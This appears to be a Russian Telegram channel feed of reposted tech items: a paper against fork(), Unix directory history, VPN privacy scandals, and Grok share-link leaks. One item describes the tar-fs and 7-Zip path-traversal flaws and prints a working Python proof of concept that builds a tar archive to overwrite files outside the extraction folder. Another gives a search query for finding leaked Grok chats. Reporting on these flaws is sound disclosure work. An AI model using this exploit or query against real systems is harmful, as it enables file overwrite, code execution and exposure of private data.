#prog #article
Лежало в закладках с аж 2023 года, при том, что давно прочитал.
A fork() in the road (pdf)
Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
Лежало в закладках с аж 2023 года, при том, что давно прочитал.
A fork() in the road (pdf)
The received wisdom suggests that Unix’s unusual combination offork()
andexec()
for process creation was an inspired design. In this paper, we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability. We catalog the ways in which fork is a terrible abstraction for the modern programmer to use, describe how it compromises OS implementations, and propose alternatives.
As the designers and implementers of operating systems, we should acknowledge that fork’s continued existence as a first-class OS primitive holds back systems research, and deprecate it. As educators, we should teach fork as a historical artifact, and not the first process creation mechanism students encounter.
Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
👍11🔥1
Блог*
we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability.
Telegram
Блог*
#prog
lists.busybox.net/pipermail/busybox/2010-December/074114.html
О том, откуда растут ноги у деления на (s)bin и usr/(s)bin в Unix. Спойлер: это артефакт системы хранения первой машины, на которой производилась разработка.
lists.busybox.net/pipermail/busybox/2010-December/074114.html
О том, откуда растут ноги у деления на (s)bin и usr/(s)bin в Unix. Спойлер: это артефакт системы хранения первой машины, на которой производилась разработка.
😁3
Forwarded from Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
😁1
Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога https://www.opennet.ru/opennews/art.shtml?num=63740 В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива…
Telegram
Блог*
#prog
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
👍7🤡2
Forwarded from Too Long, Did Read
Страшилка про VPNы
Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.
Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.
- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.
- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.
- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.
Какие можно сделать выводы из подобных историй?
Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.
Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.
Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.
Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).
И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.
Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.
Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.
- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.
- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.
- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.
Какие можно сделать выводы из подобных историй?
Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.
Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.
Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.
Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).
И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.
Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
😭9🤔4😁2🥴1
Forwarded from Добрый вечер, я диспетчер
This media is not supported in your browser
VIEW IN TELEGRAM
Это мимо меня пролетает жизнь
🌚13😭7
Forwarded from лингвист реалист
Уведомление от банка, которое мы заслужили. В России ещё что-то можно делать? Ну там срать, дышать, спать хотя бы?
А раньше первое сентября было про ручки, знания и "линейки"...
А раньше первое сентября было про ручки, знания и "линейки"...
😢22❤7🤡5😁4👍1🤯1
😁8👎1
Блог*
Ещё один #prog квиз, на этот раз про конструктор Date в #js: jsdate.wtf (лично я набрал 9/28)
Папищек подсказал про #prog квиз по email-адресам:
e-mail.wtf
Я набрал 15/21
(thanks @bushes_in_my_mind)
e-mail.wtf
Я набрал 15/21
(thanks @bushes_in_my_mind)
❤5😁5
Forwarded from Не баг, а фича
⚡️ Сотни тысяч переписок с Grok внезапно ОКАЗАЛИСЬ в Google — расследование Forbes показало, что в открытом доступе лежат пароли, рабочие документы и личные данные пользователей.
Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком.
Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет.
Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:
@bugfeature | #grok
Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком.
Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет.
Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:
site:grok.com/share (любое слово)
@bugfeature | #grok
🤯8😁4❤1
#music
rainbowdragoneyes.bandcamp.com/track/the-frozen-light-glacial-peak
(сама игра, из которой саундтрек, весьма хорошая, советую глянуть)
rainbowdragoneyes.bandcamp.com/track/the-frozen-light-glacial-peak
(сама игра, из которой саундтрек, весьма хорошая, советую глянуть)
Rainbowdragoneyes
The Frozen Light (Glacial Peak), by Rainbowdragoneyes
from the album The Messenger (Original Soundtrack) Disc I: The Past
🔥1🤔1
Для процессов (по факту,
Как получить
Как получить
#бомбёжкипост
task_struct
) в Linux отслеживается два времени с момента запуска: start_boottime
, который включает в себя время, пока система была в состоянии сна, и start_monotonic
, который не включает.Как получить
start_boottime
из юзерспейса? Через /proc/{pid}/stat
, где это 22-ое поле в строчке (правда, только с округлением до тиков, по умолчанию 100 тиков в секунду).Как получить
start_monotonic
из юзерспейса, буквально соседнее поле в task_struct
? А никак.#бомбёжкипост
🔥12😁8🤔2😭1
Generative Anton
Никогда такого не было, и вот, опять.
Очередная #ml #suckassstory, видимо